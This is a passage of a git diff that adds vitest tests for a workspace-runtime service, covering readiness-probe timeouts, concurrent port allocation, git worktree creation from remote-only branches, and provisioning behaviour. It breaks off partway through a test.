--- /dev/null
+++ b/server/src/__tests__/workspace-runtime-start-terminality.test.ts
@@ -0,0 +1,161 @@
+import { setTimeout as delay } from "node:timers/promises";
+import { afterEach, describe, expect, it } from "vitest";
+import {
+  RUNTIME_SERVICE_READINESS_PROBE_TIMEOUT_MS,
+  allocateRuntimeServicePort,
+  claimRuntimeServiceBindPort,
+  resetRuntimeServicePortReservationsForTests,
+  waitForRuntimeServiceReadiness,
+} from "../services/workspace-runtime.js";
+
+/**
+ * Regression fixture for the adverse report on PAP-17207: two exclusive isolated workspaces
+ * asked for the same configured app/HMR pair at the same moment. One lane came up healthy,
+ * the loser was reallocated onto a port owned by an unrelated listener, and its managed start
+ * never reached a terminal state — leaving an active operation that rejected managed cleanup.
+ *
+ * The two mechanisms that produced the non-terminality are covered here:
+ *   1. a readiness probe against a socket that accepts but never answers, and
+ *   2. concurrent allocation handing the same port to two starts.
+ */
+describe("managed runtime start terminality", () => {
+  afterEach(() => {
+    resetRuntimeServicePortReservationsForTests();
+  });
+
+  const hangingService = {
+    readiness: { type: "http", timeoutSec: 1, intervalMs: 50 },
+  } as Record<string, unknown>;
+
+  it("fails a readiness check whose probes never answer instead of hanging forever", async () => {
+    let probes = 0;
+    const abortedProbes: string[] = [];
+    /** Accepts the request and only ever settles when the caller aborts, like a foreign listener. */
+    const neverAnsweringFetch = (async (_url: string | URL | Request, init?: RequestInit) => {
+      probes += 1;
+      return await new Promise<Response>((_resolve, reject) => {
+        init?.signal?.addEventListener("abort", () => {
+          abortedProbes.push(String(init?.signal?.reason ?? "aborted"));
+          reject(new Error("The operation was aborted due to timeout"));
+        });
+      });
+    }) as unknown as typeof fetch;
+
+    const startedAt = Date.now();
+    await expect(
+      waitForRuntimeServiceReadiness({
+        service: hangingService,
+        serviceName: "app",
+        command: "pnpm dev",
+        url: "http://127.0.0.1:45439/",
+        readinessUrl: null,
+        fetchImpl: neverAnsweringFetch,
+      }),
+    ).rejects.toThrow(/Readiness check failed for http:\/\/127\.0\.0\.1:45439\//);
+    const elapsedMs = Date.now() - startedAt;
+
+    expect(probes).toBeGreaterThan(0);
+    expect(abortedProbes.length).toBeGreaterThan(0);
+    // Terminal well inside the 1s readiness budget plus one probe budget.
+    expect(elapsedMs).toBeLessThan(1_000 + RUNTIME_SERVICE_READINESS_PROBE_TIMEOUT_MS);
+  });
+
+  it("negative control: an unbounded probe loop never terminalizes the same start", async () => {
+    // This is the shape of the code that shipped: `fetch` with no abort signal, so the
+    // deadline at the top of the loop is never re-evaluated once a probe parks.
+    const legacyWait = async () => {
+      const deadline = Date.now() + 1_000;
+      while (Date.now() < deadline) {
+        await new Promise<never>(() => {});
+        await delay(50);
+      }
+      throw new Error("Readiness check failed");
+    };
+
+    const settled = await Promise.race([
+      legacyWait().then(() => "settled").catch(() => "settled"),
+      delay(1_500).then(() => "still-hanging"),
+    ]);
+    expect(settled).toBe("still-hanging");
+  });
+
+  it("stops probing as soon as the readiness budget is spent", async () => {
+    let probes = 0;
+    const refusingFetch = (async () => {
+      probes += 1;
+      throw new Error("connect ECONNREFUSED 127.0.0.1:45439");
+    }) as unknown as typeof fetch;
+
+    await expect(
+      waitForRuntimeServiceReadiness({
+        service: { readiness: { type: "http", timeoutSec: 1, intervalMs: 200 } },
+        url: "http://127.0.0.1:45439/",
+        readinessUrl: null,
+        fetchImpl: refusingFetch,
+      }),
+    ).rejects.toThrow(/ECONNREFUSED/);
+    // ~1s budget at a 200ms interval: a bounded handful of probes, never an unbounded spin.
+    expect(probes).toBeGreaterThan(1);
+    expect(probes).toBeLessThan(12);
+  });
+
+  it("hands two concurrent starts distinct ports even when the kernel repeats a candidate", async () => {
+    // The kernel really does hand the same ephemeral port to two `listen(0)` probes once the
+    // first probe socket has closed, which is exactly the reallocation collision in the report.
+    const candidates = [49871, 49871, 49871, 49872];
+    let index = 0;
+    const probe = async () => candidates[Math.min(index++, candidates.length - 1)]!;
+    const portOwnerLookup = async () => null;
+
+    const [first, second] = await Promise.all([
+      allocateRuntimeServicePort({ probe, portOwnerLookup }),
+      allocateRuntimeServicePort({ probe, portOwnerLookup }),
+    ]);
+
+    expect(first).not.toBe(second);
+    expect(new Set([first, second])).toEqual(new Set([49871, 49872]));
+  });
+
+  it("skips a candidate port that a live process already owns", async () => {
+    const candidates = [49881, 49882];
+    let index = 0;
+    const probe = async () => candidates[Math.min(index++, candidates.length - 1)]!;
+    const portOwnerLookup = async (port: number) => (port === 49881 ? 4242 : null);
+
+    await expect(allocateRuntimeServicePort({ probe, portOwnerLookup })).resolves.toBe(49882);
+    // The rejected candidate must not stay reserved, or later starts would leak allocations.
+    await expect(
+      allocateRuntimeServicePort({ probe: async () => 49881, portOwnerLookup: async () => null }),
+    ).resolves.toBe(49881);
+  });
+
+  it("refuses a configured port a sibling start is already claiming", () => {
+    // The reported collision was on a *configured* app/HMR pair, not an auto-allocated one:
+    // both lanes read the pair as free because neither had bound or persisted a row yet.
+    expect(claimRuntimeServiceBindPort(42003, null)).toBe(true);
+    expect(claimRuntimeServiceBindPort(42003, null)).toBe(false);
+    // The HMR companion is claimed independently, so a lane can lose on either port.
+    expect(claimRuntimeServiceBindPort(42004, null)).toBe(true);
+    expect(claimRuntimeServiceBindPort(42004, null)).toBe(false);
+  });
+
+  it("never lets a start be refused by its own allocation", async () => {
+    // An auto-allocated port arrives already reserved by this start, and its identity port can
+    // resolve to that same value. Treating that as a sibling's claim would fail the start on its
+    // own reservation.
+    const held = await allocateRuntimeServicePort({
+      probe: async () => 49901,
+      portOwnerLookup: async () => null,
+    });
+    expect(held).toBe(49901);
+    expect(claimRuntimeServiceBindPort(49901, held)).toBe(true);
+    // A different start still loses against that held reservation.
+    expect(claimRuntimeServiceBindPort(49901, null)).toBe(false);
+  });
+
+  it("fails terminally rather than looping when no free port can be found", async () => {
+    await expect(
+      allocateRuntimeServicePort({ probe: async () => 49891, portOwnerLookup: async () => 99 }),
+    ).rejects.toThrow(/Could not allocate a free loopback port/);
+  });
+});
diff --git a/server/src/__tests__/workspace-runtime.test.ts b/server/src/__tests__/workspace-runtime.test.ts
index cf052cb4372..802d4cd94cf 100644
--- a/server/src/__tests__/workspace-runtime.test.ts
+++ b/server/src/__tests__/workspace-runtime.test.ts
@@ -36,19 +36,25 @@ import {
   realizeExecutionWorkspace,
   refreshRemoteTrackingBaseRef,
   releaseRuntimeServicesForRun,
+  UnresolvedWorkspaceBaseRefError,
   resetRuntimeServicesForTests,
   resolveRuntimeProvisionCommand,
   resolveWorkspaceRuntimeReadinessTimeoutSec,
   resolveShell,
   sanitizeRuntimeServiceBaseEnv,
+  setWorkspaceRuntimeExposureDepsForTests,
   startRuntimeServicesForWorkspaceControl,
   stopRuntimeServicesForExecutionWorkspace,
+  stopRuntimeServicesForProjectWorkspace,
+  WORKSPACE_RUNTIME_PORT_ALLOCATION_ATTEMPTS,
   type RealizedExecutionWorkspace,
 } from "../services/workspace-runtime.ts";
 import {
   findAdoptableLocalService,
   isLocalServiceRegistryCwdCompatible,
+  isLocalServiceProcessOwnedBy,
   isLocalServiceProcessInWorkspace,
+  readLocalServiceProcessCwd,
   readLocalServicePortOwner,
   writeLocalServiceRegistryRecord,
 } from "../services/local-service-supervisor.ts";
@@ -57,7 +63,7 @@ import {
   buildWorkspaceRealizationRequest,
   readWorkspaceRealizationRequest,
 } from "../services/workspace-realization.ts";
-import type { Environment, EnvironmentLease } from "@paperclipai/shared";
+import { deriveViteHmrPort, type Environment, type EnvironmentLease } from "@paperclipai/shared";
 import { resolvePaperclipConfigPath } from "../paths.ts";
 import type { WorkspaceOperation } from "@paperclipai/shared";
 import type { WorkspaceOperationRecorder } from "../services/workspace-operations.ts";
@@ -67,6 +73,11 @@ import {
   startEmbeddedPostgresTestDatabase,
 } from "./helpers/embedded-postgres.js";
 
+const RUNTIME_OWNED_GIT_BRANCH_METADATA = {
+  createdByRuntime: true,
+  gitBranchOwnershipVersion: 1,
+} as const;
+
 const execFileAsync = promisify(execFile);
 
 function stableStringifyForTest(value: unknown): string {
@@ -130,6 +141,17 @@ async function runPnpm(cwd: string, args: string[]) {
   await execFileAsync("pnpm", args, { cwd });
 }
 
+async function writeRegisteredSourceConfig(baseCwd: string, instanceId = "source-instance") {
+  const configDir = path.join(baseCwd, ".paperclip");
+  await fs.mkdir(configDir, { recursive: true });
+  await fs.writeFile(path.join(configDir, "config.json"), "{}\n", "utf8");
+  await fs.writeFile(
+    path.join(configDir, ".env"),
+    `PAPERCLIP_INSTANCE_ID=${instanceId}\n`,
+    "utf8",
+  );
+}
+
 async function createTempRepo(defaultBranch = "main") {
   const repoRoot = await fs.mkdtemp(path.join(os.tmpdir(), "paperclip-worktree-repo-"));
   await runGit(repoRoot, ["init"]);
@@ -174,6 +196,7 @@ async function expectPersistedBranchMismatchRejected(input: {
         repoUrl: null,
         baseRef: "HEAD",
         branchName: input.expectedBranch,
+        metadata: RUNTIME_OWNED_GIT_BRANCH_METADATA,
       },
       issue: {
         id: input.issueId,
@@ -236,6 +259,26 @@ async function advanceRemoteMaster(sourceRepo: string, remotePath: string, fileN
   return readGit(sourceRepo, ["rev-parse", "master"]);
 }
 
+// Push a branch to the bare remote without leaving a local ref or a
+// remote-tracking ref in `repoRoot`. This reproduces a remote-only feature
+// branch: the clone was made before the push, so `repoRoot` learns the branch
+// only after an authenticated fetch of `origin/<branch>`.
+async function pushRemoteOnlyBranch(
+  sourceRepo: string,
+  remotePath: string,
+  branch: string,
+  fileName: string,
+) {
+  await runGit(sourceRepo, ["checkout", "-B", branch]);
+  await fs.writeFile(path.join(sourceRepo, fileName), `${fileName}\n`, "utf8");
+  await runGit(sourceRepo, ["add", fileName]);
+  await runGit(sourceRepo, ["commit", "-m", `Add ${fileName}`]);
+  await runGit(sourceRepo, ["push", remotePath, branch]);
+  const sha = await readGit(sourceRepo, ["rev-parse", branch]);
+  await runGit(sourceRepo, ["checkout", "master"]);
+  return sha;
+}
+
 function realizeWorktreeForTest(repoRoot: string, repoRef: string | null) {
   return realizeExecutionWorkspace({
     base: {
@@ -282,6 +325,48 @@ function buildWorkspace(cwd: string): RealizedExecutionWorkspace {
   };
 }
 
+async function closeNetServer(server: net.Server) {
+  if (!server.listening) return;
+  await new Promise<void>((resolve, reject) => {
+    server.close((error) => error ? reject(error) : resolve());
+  });
+}
+
+async function listenOnPort(port: number) {
+  const server = net.createServer();
+  await new Promise<void>((resolve, reject) => {
+    server.once("error", reject);
+    server.listen(port, "127.0.0.1", resolve);
+  });
+  return server;
+}
+
+async function findFreePort() {
+  const server = await listenOnPort(0);
+  const address = server.address();
+  const port = typeof address === "object" && address ? address.port : null;
+  await closeNetServer(server);
+  if (!port) throw new Error("Failed to find a free test port");
+  return port;
+}
+
+async function reserveContiguousPorts(count: number) {
+  for (let attempt = 0; attempt < 100; attempt += 1) {
+    const basePort = await findFreePort();
+    if (basePort + count - 1 > 65_535) continue;
+    const servers: net.Server[] = [];
+    try {
+      for (let offset = 0; offset < count; offset += 1) {
+        servers.push(await listenOnPort(basePort + offset));
+      }
+      return { basePort, servers };
+    } catch {
+      await Promise.all(servers.map((server) => closeNetServer(server).catch(() => undefined)));
+    }
+  }
+  throw new Error(`Failed to reserve ${count} contiguous test ports`);
+}
+
 function createWorkspaceOperationRecorderDouble() {
   const operations: Array<{
     phase: string;
@@ -391,8 +476,6 @@ describe("resolveRuntimeProvisionCommand", () => {
         path.join(baseCwd, "scripts", "provision-worktree-runtime.sh"),
         "#!/usr/bin/env bash\n",
       );
-      await fs.mkdir(path.join(cwd, ".paperclip"), { recursive: true });
-      await fs.writeFile(path.join(cwd, ".paperclip", "seed-pending"), "{}\n");
       const workspace = {
         ...buildWorkspace(cwd),
         baseCwd,
@@ -400,6 +483,17 @@ describe("resolveRuntimeProvisionCommand", () => {
         worktreePath: cwd,
       };
 
+      expect(resolveRuntimeProvisionCommand({ config: {}, workspace })).toBe(
+        "bash ./scripts/provision-worktree-runtime.sh",
+      );
+
+      await fs.mkdir(path.join(cwd, ".paperclip"), { recursive: true });
+      await fs.writeFile(path.join(cwd, ".paperclip", "config.json"), "{}\n");
+      expect(resolveRuntimeProvisionCommand({ config: {}, workspace })).toBe(
+        "bash ./scripts/provision-worktree-runtime.sh",
+      );
+
+      await fs.writeFile(path.join(cwd, ".paperclip", "seed-pending"), "{}\n");
       expect(resolveRuntimeProvisionCommand({ config: {}, workspace })).toBe(
         "bash ./scripts/provision-worktree-runtime.sh",
       );
@@ -409,6 +503,41 @@ describe("resolveRuntimeProvisionCommand", () => {
       })).toBe("./custom-provision.sh");
 
       await fs.writeFile(path.join(cwd, ".paperclip", "seed-complete"), "{}\n");
+      expect(resolveRuntimeProvisionCommand({ config: {}, workspace })).toBe(
+        "bash ./scripts/provision-worktree-runtime.sh",
+      );
+
+      await fs.writeFile(
+        path.join(cwd, ".paperclip", "seed-manifest.json"),
+        JSON.stringify({ version: 2, state: "failed" }),
+      );
+      expect(resolveRuntimeProvisionCommand({ config: {}, workspace })).toBe(
+        "bash ./scripts/provision-worktree-runtime.sh",
+      );
+      await fs.writeFile(
+        path.join(cwd, ".paperclip", "seed-manifest.json"),
+        JSON.stringify({ version: 2, state: "verified" }),
+      );
+      expect(resolveRuntimeProvisionCommand({ config: {}, workspace })).toBe(
+        "bash ./scripts/provision-worktree-runtime.sh",
+      );
+      await fs.writeFile(
+        path.join(cwd, ".paperclip", "seed-manifest.json"),
+        JSON.stringify({
+          version: 2,
+          source: { instanceId: "source", configPath: "/source/config.json" },
+          snapshotAt: "2026-08-18T00:00:00.000Z",
+          seedMode: "full",
+          migrationRevision: "0001",
+          targetInstanceId: "target",
+          phase: "complete",
+          state: "verified",
+          attemptId: "attempt",
+          startedAt: "2026-08-18T00:00:00.000Z",
+          finishedAt: "2026-08-18T00:01:00.000Z",
+          diagnostics: [{ phase: "complete", status: "succeeded", at: "2026-08-18T00:01:00.000Z" }],
+        }),
+      );
       expect(resolveRuntimeProvisionCommand({ config: {}, workspace })).toBe("");
     } finally {
       await fs.rm(baseCwd, { recursive: true, force: true });
@@ -616,8 +745,7 @@ describe("realizeExecutionWorkspace", () => {
 
   it("creates and reuses a git worktree for an issue-scoped branch", async () => {
     const repoRoot = await createTempRepo();
-
-    const first = await realizeExecutionWorkspace({
+    const realizationInput = {
       base: {
         baseCwd: repoRoot,
         source: "project_primary",
@@ -642,15 +770,49 @@ describe("realizeExecutionWorkspace", () => {
         name: "Codex Coder",
         companyId: "company-1",
       },
-    });
+    } satisfies Parameters<typeof realizeExecutionWorkspace>[0];
+
+    const first = await realizeExecutionWorkspace(realizationInput);
 
     expect(first.strategy).toBe("git_worktree");
     expect(first.created).toBe(true);
+    expect(first.branchCreatedByRuntime).toBe(true);
     expect(first.branchName).toBe("PAP-447-add-worktree-support");
     expect(first.cwd).toContain(path.join(".paperclip", "worktrees"));
     await expect(fs.stat(path.join(first.cwd, ".git"))).resolves.toBeTruthy();
 
     const second = await realizeExecutionWorkspace({
+      ...realizationInput,
+      recordedBranchOwnership: {
+        branchName: first.branchName!,
+        createdByRuntime: first.branchCreatedByRuntime,
+      },
+    });
+
+    expect(second.created).toBe(false);
+    expect(second.branchCreatedByRuntime).toBe(true);
+    expect(second.cwd).toBe(first.cwd);
+    expect(second.branchName).toBe(first.branchName);
+  });
+
+  it("defaults the repo-provided worktree provisioner for git worktree strategies", async () => {
+    const repoRoot = await createTempRepo();
+    await fs.mkdir(path.join(repoRoot, "scripts"), { recursive: true });
+    await fs.writeFile(
+      path.join(repoRoot, "scripts", "provision-worktree.sh"),
+      [
+        "#!/usr/bin/env bash",
+        "set -euo pipefail",
+        "mkdir -p .paperclip",
+        "printf 'provisioned\\n' > .paperclip/default-provision-ran",
+        "",
+      ].join("\n"),
+      "utf8",
+    );
+    await runGit(repoRoot, ["add", "scripts/provision-worktree.sh"]);
+    await runGit(repoRoot, ["commit", "-m", "Add repository worktree provisioner"]);
+
+    const workspace = await realizeExecutionWorkspace({
       base: {
         baseCwd: repoRoot,
         source: "project_primary",
@@ -666,9 +828,9 @@ describe("realizeExecutionWorkspace", () => {
         },
       },
       issue: {
-        id: "issue-1",
-        identifier: "PAP-447",
-        title: "Add Worktree Support",
+        id: "issue-default-provision",
+        identifier: "PAP-17684",
+        title: "Default worktree provisioning",
       },
       agent: {
         id: "agent-1",
@@ -677,9 +839,9 @@ describe("realizeExecutionWorkspace", () => {
       },
     });
 
-    expect(second.created).toBe(false);
-    expect(second.cwd).toBe(first.cwd);
-    expect(second.branchName).toBe(first.branchName);
+    await expect(
+      fs.readFile(path.join(workspace.cwd, ".paperclip", "default-provision-ran"), "utf8"),
+    ).resolves.toBe("provisioned\n");
   });
 
   it("warns when reusing a git worktree whose base ref has advanced", async () => {
@@ -868,6 +1030,111 @@ describe("realizeExecutionWorkspace", () => {
     ]);
   });
 
+  it("bases a fresh worktree on a remote-only branch supplied as fix/foo", async () => {
+    const { sourceRepo, remotePath, repoRoot } = await createClonedRepoWithRemote();
+    const remoteSha = await pushRemoteOnlyBranch(sourceRepo, remotePath, "fix/foo", "remote-only.txt");
+
+    // The clone never learned the branch: no local ref and no remote-tracking ref.
+    await expect(readGit(repoRoot, ["rev-parse", "--verify", "fix/foo"])).rejects.toThrow();
+    await expect(readGit(repoRoot, ["rev-parse", "--verify", "origin/fix/foo"])).rejects.toThrow();
+
+    const workspace = await realizeWorktreeForTest(repoRoot, "fix/foo");
+
+    expect(workspace.created).toBe(true);
+    expect(workspace.repoRef).toBe("origin/fix/foo");
+    expect(workspace.baseRefSha).toBe(remoteSha);
+    expect(await readGit(workspace.cwd, ["rev-parse", "HEAD"])).toBe(remoteSha);
+  });
+
+  it("bases a fresh worktree on a remote-only branch supplied as origin/fix/foo", async () => {
+    const { sourceRepo, remotePath, repoRoot } = await createClonedRepoWithRemote();
+    const remoteSha = await pushRemoteOnlyBranch(sourceRepo, remotePath, "fix/bar", "remote-only.txt");
+
+    await expect(readGit(repoRoot, ["rev-parse", "--verify", "origin/fix/bar"])).rejects.toThrow();
+
+    const workspace = await realizeWorktreeForTest(repoRoot, "origin/fix/bar");
+
+    expect(workspace.created).toBe(true);
+    expect(workspace.repoRef).toBe("origin/fix/bar");
+    expect(workspace.baseRefSha).toBe(remoteSha);
+    expect(await readGit(workspace.cwd, ["rev-parse", "HEAD"])).toBe(remoteSha);
+  });
+
+  it("stops before git worktree add when the base ref is absent on origin", async () => {
+    const { repoRoot } = await createClonedRepoWithRemote();
+
+    const error = await realizeWorktreeForTest(repoRoot, "fix/does-not-exist").then(
+      () => null,
+      (caught: unknown) => caught,
+    );
+
+    expect(error).toBeInstanceOf(UnresolvedWorkspaceBaseRefError);
+    const unresolved = error as UnresolvedWorkspaceBaseRefError;
+    expect(unresolved.requestedRef).toBe("fix/does-not-exist");
+    expect(unresolved.recoveryIdentityRef).toBe("origin/fix/does-not-exist");
+    expect(unresolved.attemptedRefs).toEqual(["origin/fix/does-not-exist"]);
+    // No worktree directory was created for the fresh-create path.
+    await expect(
+      fs.stat(path.join(repoRoot, ".paperclip", "worktrees", "PAP-447-add-worktree-support")),
+    ).rejects.toThrow();
+  });
+
+  it("gives equivalent spellings of one absent remote ref the same recovery identity", async () => {
+    const { repoRoot } = await createClonedRepoWithRemote();
+
+    // The unqualified form and the remote-tracking form name the same remote
+    // branch. Both must map to one `recoveryIdentityRef`, so recovery does not
+    // treat a spelling change as a new blocker.
+    const unqualified = await realizeWorktreeForTest(repoRoot, "fix/absent").then(
+      () => null,
+      (caught: unknown) => caught,
+    );
+    const remoteTracking = await realizeWorktreeForTest(repoRoot, "origin/fix/absent").then(
+      () => null,
+      (caught: unknown) => caught,
+    );
+    // The full remote-tracking spelling names the same branch as well. It must
+    // map to the same canonical recovery identity, not to its raw spelling.
+    const fullRemoteTracking = await realizeWorktreeForTest(repoRoot, "refs/remotes/origin/fix/absent").then(
+      () => null,
+      (caught: unknown) => caught,
+    );
+
+    expect(unqualified).toBeInstanceOf(UnresolvedWorkspaceBaseRefError);
+    expect(remoteTracking).toBeInstanceOf(UnresolvedWorkspaceBaseRefError);
+    expect(fullRemoteTracking).toBeInstanceOf(UnresolvedWorkspaceBaseRefError);
+    const unqualifiedError = unqualified as UnresolvedWorkspaceBaseRefError;
+    const remoteTrackingError = remoteTracking as UnresolvedWorkspaceBaseRefError;
+    const fullRemoteTrackingError = fullRemoteTracking as UnresolvedWorkspaceBaseRefError;
+    // Each error keeps its own operator spelling for the human notice.
+    expect(unqualifiedError.requestedRef).toBe("fix/absent");
+    expect(remoteTrackingError.requestedRef).toBe("origin/fix/absent");
+    expect(fullRemoteTrackingError.requestedRef).toBe("refs/remotes/origin/fix/absent");
+    // All three share one canonical recovery identity.
+    expect(unqualifiedError.recoveryIdentityRef).toBe("origin/fix/absent");
+    expect(remoteTrackingError.recoveryIdentityRef).toBe("origin/fix/absent");
+    expect(fullRemoteTrackingError.recoveryIdentityRef).toBe("origin/fix/absent");
+  });
+
+  it("surfaces an authenticated fetch failure as an unresolved base ref, not a crash", async () => {
+    const { repoRoot } = await createClonedRepoWithRemote();
+    // Point origin at a path that no repository backs. The authenticated fetch
+    // fails, so the ref never resolves and the resolver reports the fetch error.
+    await runGit(repoRoot, ["remote", "set-url", "origin", path.join(os.tmpdir(), "paperclip-missing-remote.git")]);
+
+    const error = await realizeWorktreeForTest(repoRoot, "fix/unreachable").then(
+      () => null,
+      (caught: unknown) => caught,
+    );
+
+    expect(error).toBeInstanceOf(UnresolvedWorkspaceBaseRefError);
+    const unresolved = error as UnresolvedWorkspaceBaseRefError;
+    expect(unresolved.requestedRef).toBe("fix/unreachable");
+    expect(unresolved.fetchError).toEqual(
+      expect.stringContaining("Could not refresh base ref origin/fix/unreachable"),
+    );
+  });
+
   it("rejects reusing an empty directory that only looks like a worktree because it sits inside the repo", async () => {
     const repoRoot = await createTempRepo();
     const branchName = "PAP-447-add-worktree-support";
@@ -1327,8 +1594,13 @@ describe("realizeExecutionWorkspace", () => {
 
   it("writes an isolated repo-local Paperclip config and worktree branding when provisioning", async () => {
     const repoRoot = await createTempRepo();
+    await writeRegisteredSourceConfig(repoRoot, "worktree-base-source");
     const previousCwd = process.cwd();
     const previousPath = process.env.PATH;
+    const previousConfig = process.env.PAPERCLIP_CONFIG;
+    const previousHome = process.env.PAPERCLIP_HOME;
+    const previousInstanceId = process.env.PAPERCLIP_INSTANCE_ID;
+    const previousWorktreesDir = process.env.PAPERCLIP_WORKTREES_DIR;
     const paperclipHome = await fs.mkdtemp(path.join(os.tmpdir(), "paperclip-worktree-home-"));
     const isolatedWorktreeHome = await fs.mkdtemp(path.join(os.tmpdir(), "paperclip-worktrees-"));
     const isolatedBin = await fs.mkdtemp(path.join(os.tmpdir(), "paperclip-worktree-bin-"));
@@ -1340,6 +1612,7 @@ describe("realizeExecutionWorkspace", () => {
     process.env.PAPERCLIP_HOME = paperclipHome;
     process.env.PAPERCLIP_INSTANCE_ID = instanceId;
     process.env.PAPERCLIP_WORKTREES_DIR = isolatedWorktreeHome;
+    delete process.env.PAPERCLIP_CONFIG;
     // Keep this server-side fixture on provision-worktree.sh's config writer path;
     // CLI/database seeding is covered by the CLI worktree tests.
     await fs.symlink(process.execPath, path.join(isolatedBin, "node"));
@@ -1511,6 +1784,18 @@ describe("realizeExecutionWorkspace", () => {
       } else {
         process.env.PATH = previousPath;
       }
+      for (const [key, value] of [
+        ["PAPERCLIP_CONFIG", previousConfig],
+        ["PAPERCLIP_HOME", previousHome],
+        ["PAPERCLIP_INSTANCE_ID", previousInstanceId],
+        ["PAPERCLIP_WORKTREES_DIR", previousWorktreesDir],
+      ] as const) {
+        if (value === undefined) {
+          delete process.env[key];
+        } else {
+          process.env[key] = value;
+        }
+      }
     }
   }, 15_000);
 
@@ -1518,6 +1803,7 @@ describe("realizeExecutionWorkspace", () => {
     "provisions worktree-local pnpm node_modules instead of reusing base-repo links",
     async () => {
     const repoRoot = await createTempRepo();
+    await writeRegisteredSourceConfig(repoRoot);
     await fs.mkdir(path.join(repoRoot, "scripts"), { recursive: true });
     await fs.mkdir(path.join(repoRoot, "packages", "shared"), { recursive: true });
     await fs.mkdir(path.join(repoRoot, "server"), { recursive: true });
@@ -1620,6 +1906,7 @@ describe("realizeExecutionWorkspace", () => {
 
   it("provisions successfully when install is needed but there are no symlinked node_modules to move", async () => {
     const repoRoot = await createTempRepo();
+    await writeRegisteredSourceConfig(repoRoot);
     await fs.mkdir(path.join(repoRoot, "scripts"), { recursive: true });
     await fs.writeFile(
       path.join(repoRoot, "package.json"),
@@ -1702,6 +1989,7 @@ describe("realizeExecutionWorkspace", () => {
 
     try {
       await fs.mkdir(path.join(baseRoot, "node_modules"), { recursive: true });
+      await writeRegisteredSourceConfig(baseRoot);
       await fs.mkdir(path.join(worktreeRoot, "node_modules"), { recursive: true });
       await fs.mkdir(path.join(worktreeRoot, "ui"), { recursive: true });
       await fs.mkdir(fakeBin, { recursive: true });
@@ -1794,6 +2082,7 @@ describe("realizeExecutionWorkspace", () => {
 
     try {
       await fs.mkdir(baseRoot, { recursive: true });
+      await writeRegisteredSourceConfig(baseRoot);
       await fs.mkdir(worktreeRoot, { recursive: true });
       await fs.mkdir(fakeBin, { recursive: true });
       await fs.copyFile(provisionWorktreeScriptPath, scriptPath);
@@ -1851,6 +2140,7 @@ describe("realizeExecutionWorkspace", () => {
 
     try {
       await fs.mkdir(baseRoot, { recursive: true });
+      await writeRegisteredSourceConfig(baseRoot);
       await fs.mkdir(paperclipDir, { recursive: true });
       await fs.mkdir(fakeBin, { recursive: true });
       await fs.copyFile(provisionWorktreeScriptPath, scriptPath);
@@ -1941,6 +2231,7 @@ describe("realizeExecutionWorkspace", () => {
 
     try {
       await fs.mkdir(path.join(baseRoot, "node_modules"), { recursive: true });
+      await writeRegisteredSourceConfig(baseRoot);
       await fs.mkdir(worktreeRoot, { recursive: true });
       await fs.mkdir(fakeBin, { recursive: true });
       await fs.copyFile(provisionWorktreeScriptPath, scriptPath);
@@ -2010,6 +2301,7 @@ describe("realizeExecutionWorkspace", () => {
     "provisions worktree-local pnpm node_modules instead of reusing base-repo links",
     async () => {
     const repoRoot = await createTempRepo();
+    await writeRegisteredSourceConfig(repoRoot);
     await fs.mkdir(path.join(repoRoot, "scripts"), { recursive: true });
     await fs.mkdir(path.join(repoRoot, "packages", "shared"), { recursive: true });
     await fs.mkdir(path.join(repoRoot, "server"), { recursive: true });
@@ -2394,6 +2686,7 @@ describe("realizeExecutionWorkspace", () => {
         repoUrl: null,
         baseRef: "HEAD",
         branchName: expectedBranch,
+        metadata: RUNTIME_OWNED_GIT_BRANCH_METADATA,
       },
       issue: {
         id: "issue-1",
@@ -2461,6 +2754,7 @@ describe("realizeExecutionWorkspace", () => {
         repoUrl: null,
         baseRef: "HEAD",
         branchName,
+        metadata: RUNTIME_OWNED_GIT_BRANCH_METADATA,
       },
       issue: {
         id: "issue-detached",
@@ -2512,6 +2806,7 @@ describe("realizeExecutionWorkspace", () => {
         repoUrl: null,
         baseRef: "HEAD",
         branchName: expectedBranch,
+        metadata: RUNTIME_OWNED_GIT_BRANCH_METADATA,
       },
       issue: {
         id: "issue-2",
@@ -2664,6 +2959,7 @@ describe("realizeExecutionWorkspace", () => {
         repoUrl: null,
         baseRef: "HEAD",
         branchName: initial.branchName,
+        metadata: RUNTIME_OWNED_GIT_BRANCH_METADATA,
       },
       issue: {
         id: "issue-3",
@@ -2725,6 +3021,7 @@ describe("realizeExecutionWorkspace", () => {
           repoUrl: null,
           baseRef: "HEAD",
           branchName: expectedBranch,
+          metadata: RUNTIME_OWNED_GIT_BRANCH_METADATA,
         },
         issue: {
           id: "issue-diverged",
@@ -2798,6 +3095,7 @@ describe("realizeExecutionWorkspace", () => {
           repoUrl: null,
           baseRef: "HEAD",
           branchName: expectedBranch,
+          metadata: RUNTIME_OWNED_GIT_BRANCH_METADATA,
         },
         issue: {
           id: "issue-deleted-branch",
@@ -2879,6 +3177,7 @@ describe("realizeExecutionWorkspace", () => {
           repoUrl: null,
           baseRef: "HEAD",
           branchName: expectedBranch,
+          metadata: RUNTIME_OWNED_GIT_BRANCH_METADATA,
         },
         issue: {
           id: "issue-deleted-branch-flag-off",
@@ -3127,6 +3426,100 @@ describe("realizeExecutionWorkspace", () => {
     await expect(fs.readFile(path.join(initial.cwd, ".paperclip-restored-state"), "utf8")).resolves.toBe("reprovisioned\n");
   }, 15_000);
 
+  it("rejects an empty base checkout path with a clear cause", async () => {
+    // An empty base path makes the later "git" spawn fail with a raw ENOENT.
+    // The reopen must throw a clear cause first that names the empty checkout.
+    let error: unknown = null;
+    try {
+      await ensurePersistedExecutionWorkspaceAvailable({
+        base: {
+          baseCwd: "",
+          source: "project_primary",
+          projectId: "project-1",
+          workspaceId: "workspace-1",
+          repoUrl: null,
+          repoRef: "HEAD",
+        },
+        workspace: {
+          mode: "isolated_workspace",
+          strategyType: "git_worktree",
+          cwd: "/does-not-exist/worktree",
+          providerRef: "/does-not-exist/worktree",
+          projectId: "project-1",
+          projectWorkspaceId: "workspace-1",
+          repoUrl: null,
+          baseRef: "HEAD",
+          branchName: "feature-branch",
+        },
+        issue: {
+          id: "issue-1",
+          identifier: "PAP-461",
+          title: "Empty base checkout path",
+        },
+        agent: {
+          id: "agent-1",
+          name: "Codex Coder",
+          companyId: "company-1",
+        },
+      });
+    } catch (err) {
+      error = err;
+    }
+
+    expect(error).toBeInstanceOf(Error);
+    expect((error as Error).message).toBe(
+      "Cannot rebuild the git worktree: the base project checkout path is empty.",
+    );
+  });
+
+  it("preserves a whitespace-only base checkout path and reports it as missing", async () => {
+    // The reopen must use the persisted base path exactly. A trim would change
+    // a whitespace-only path into an empty path and hide the real cause.
